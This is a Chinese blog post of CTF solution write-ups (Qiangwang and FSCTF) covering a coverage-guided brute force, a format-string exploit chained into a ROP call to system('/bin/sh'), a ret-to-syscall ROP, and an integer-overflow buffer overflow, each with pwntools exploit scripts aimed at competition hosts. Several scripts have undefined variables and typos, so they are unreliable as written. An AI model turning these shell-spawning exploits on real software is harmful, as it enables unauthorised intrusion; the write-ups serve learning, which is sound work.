刷题进行中

持续更新

强网

easyfuzz

当时还做了一个 Misc 嘻嘻

它最多输入 10byte 就是说

一开始我就疯狂手动尝试,发现输入九位字符的时候会被覆盖成 110000000,其他情况不管怎么输入都是九个零

又尝试胡乱打了几下发现同是九位,输入 asdf'fdd 就可以覆盖最高位的 0 了好神奇

又又再次多次尝试发现最后一位是 d,对应的最后一位就是1。同时只要输入是九位,不管输入的前两位怎么变,覆盖率前两位都是11。

所以说覆盖率后七位和输入的后七位一一对应。误打误撞知道最后一位是d,那我们只需要爆破一下中间的六位就行。

综上,我们只要保证一共输入九位,最后一位是d。只需要尝试枚举对应位值为0的位,对应位是1,那么就是已经找到了正确的值不需要改变了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from string import printable
io.remote('101.200.122.251', 12188)

cover=[1,1,0,0,0,0,0,0,1]
payload=bytearray(b'aaaaaaaad')
io.recvuntil('bytes): ')
i=0

while True:
if i>=len(printable):
i=i-len(printable)
ch=printable[i]
j=cover.index(0)
payload[j]=ord(ch)
io.sendline(payload)
io.recvuntil(b'coverage: ')
received_data = io.recvline().strip().decode()
cover = []
for item in received_data:
cover.append(int(item))
if cover.count('1')==9:
break
io.interactive()

最后就暴力破解出来是 xxqwbGood 就可以让所有的位都是0。

ez_fmt

就会这一道(x

没有 PIE 保护其他的都开了,进去一眼就是格式化字符串漏洞,但是原题目中的漏洞只能利用一次。

因为 64 位有前 6 位的寄存器传参所以 buf 是第 11 个参数。

利用思路:

  • 首先需要劫持控制流让程序多次利用漏洞。

  • 里面没有现成的后门函数可以利用,要手动构造 ROP gadget 。

首先我们要考虑如何多次利用这个字符串漏洞。由于 read 的输入限制,我们没有办法通过溢出来改变 main 函数的返回地址。

在 gdb 中可以发现——rsp 指向 buf-8 的位置,也就是 read 的返回地址

当然在 printf 中也一样,栈上方是当前子函数的返回地址,栈的下方是整个 main 函数的返回地址。

因为我们已知 buf 的地址,所以这样我们就能够让 printf 劫持自己的地址,从而回到 read 多次利用格式化字符串漏洞。

我们以控制 printf 函数返回到 csu_init 的 gadget 的位置,然后经过三次出栈操作,rsp 指向 buf + 0x18(每次 pop +8) ,执行 ret 。buf + 0x18 的值也是我们可控的,我们就可以修改它到执行 read 函数的地址。其中 0-0x18 中间的空隙我们用无意义的字符填充就好。

这样程序流程就变成了 printf(buf) -> gadget -> read(0, buf,0x30)

因为 printf(buf) 的地址 0x40122D 和 csu_init 地址 0x4012CE仅有低字节不同,所以只需要修改低字节。

泄露地址和修改地址的操作可以同时完成。我们通过观察栈可以计算出 __lic_start_call_main 的偏移为 19

接下来直接在 read 里构造 ROP 链就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./ez_fmt")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x04012d3
read_addr=0x0401205
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

io.recvuntil(b'There is a gift for you ')
gift = int(io.recvline(), 16)
print(gift)

payload = "%{0xce}c%10$hhn%19$p".ljust(0x18,'A').encode()+p64(read_addr)+p64(gift-0x8)
io.send(payload)
gdb.attch(io)
io.recvuntil('0x')

libc_base = int(io.recv(12),16) - (libc.sym['__libc_start_main']+128)
print(libc_addr)

payload=flat(
{
0x18:p64(pop_rdi)+p64(libc_base+bin_sh)+p64(libc_base+system)
}
)

io.send(payload)
io.interactive()

学会了个语法用字典来填充字符串,例如:

1
2
3
4
5
6
7
flat
(
{
0:"%{}c%11$hhn%19$p".format(0xce)
0x18:p64(read_addr)+p64(gift-0x8)
}
)

flat() 函数用于将多个变量打包成二进制格式的字符串,字典部分 {x:""} ,意味从 偏移为 x 的地方开始填充键值对应的字符串,剩余部分用随机字符填充。

示例中的字典语句意为:从偏移为 0 的地方填充格式化字符串利用的字符,从偏移为 0x18 的地方开始填充两个地址数据,中间的部分用随机字符填充。最后由 flat 将他们打包成字符串。

FSCTF

nc

tac fl* >&2

这个命令的作用如下:

  • tactac 命令用于颠倒文本文件中的行。它以相反的顺序打印文件的行。
  • fl*:这是一个通配符模式,用于匹配当前目录中以 “fl” 开头的文件的名称。例如,它可能匹配文件如 “flag.txt” 或 “flag.dat”。
  • >&2:命令的这部分将输出重定向到标准错误(文件描述符 2),而不是标准输出(文件描述符 1)。

rdi

没有 canary 保护和 PIE 保护

丢进 ida 看看

info 里是程序的两行输入,接着就是这个 read() 函数,可以溢出。

另外就是 gift 函数了,里面有个 syscall 系统调用但是没有 “/bin/sh” 字符串,根据汇编代码推断出需要利用 rdi 传入参数

因为开启了 NX 保护,我们不再直接向栈上注入 shellcode

顺便找一下 ‘/bin/sh’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#p=process('./rdi')
p=remote('node4.anna.nssctf.cn',28911)

rdi=0x04007d3
bin_sh=0x040080d
syscall=0x04006FB

payload=b'a'*0x88+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
#如果溢出长度够的话还可以通过泄露libc地址打
#payload=b'a'*0x88+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main)

p.recvuntil(b'ready for your answer:\n')
p.sendline(payload)
p.interactive()

strstr

没有 canary 保护和 PIE 保护,再丢进 ida 看看

main函数里有个 read() 函数,但是看上去没有溢出空间

func() 函数里有一个对输入的字符串 src 也就是 buf 的长度检测,由于这个函数的返回值是 strcpy(s,src),我们不能使用 ‘\x00’ 来截断字符串。但这个记录 src 长度的 v3 是一个无符号的int型数据,可以通过整数溢出来绕过长度检测。

我们就需要知道 unsigned __int8 的取值范围是多少,是0255,那我们可以输入字符的长度就可以是 256264,在这范围内的长度都可以获得shell

然后就是这个后门函数了

我们接着来计算 offest ,我们无法利用 main 函数中的返回地址,只能利用 func 中的 return strcpy(),s 的长度是 b9 ,覆盖返回地址就是 b9+4。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='i386',os='linux',log_level='debug')

p =remote('node4.anna.nssctf.cn',28318)
elf =ELF('./strstr')

backdoor =0x80492AF
ret_addr =0x804900a

p.recvuntil(b'show me your power\n')

payload=b'A'*(0xb9 +4) +p32(backdoor)
payload=payload.ljust(0x100,b'A')

p.sendline(payload)
p.interactive()


刷题进行中
https://shmodifier.github.io/2023/12/18/刷题进行中/
作者
Modifier
发布于
2023年12月18日
许可协议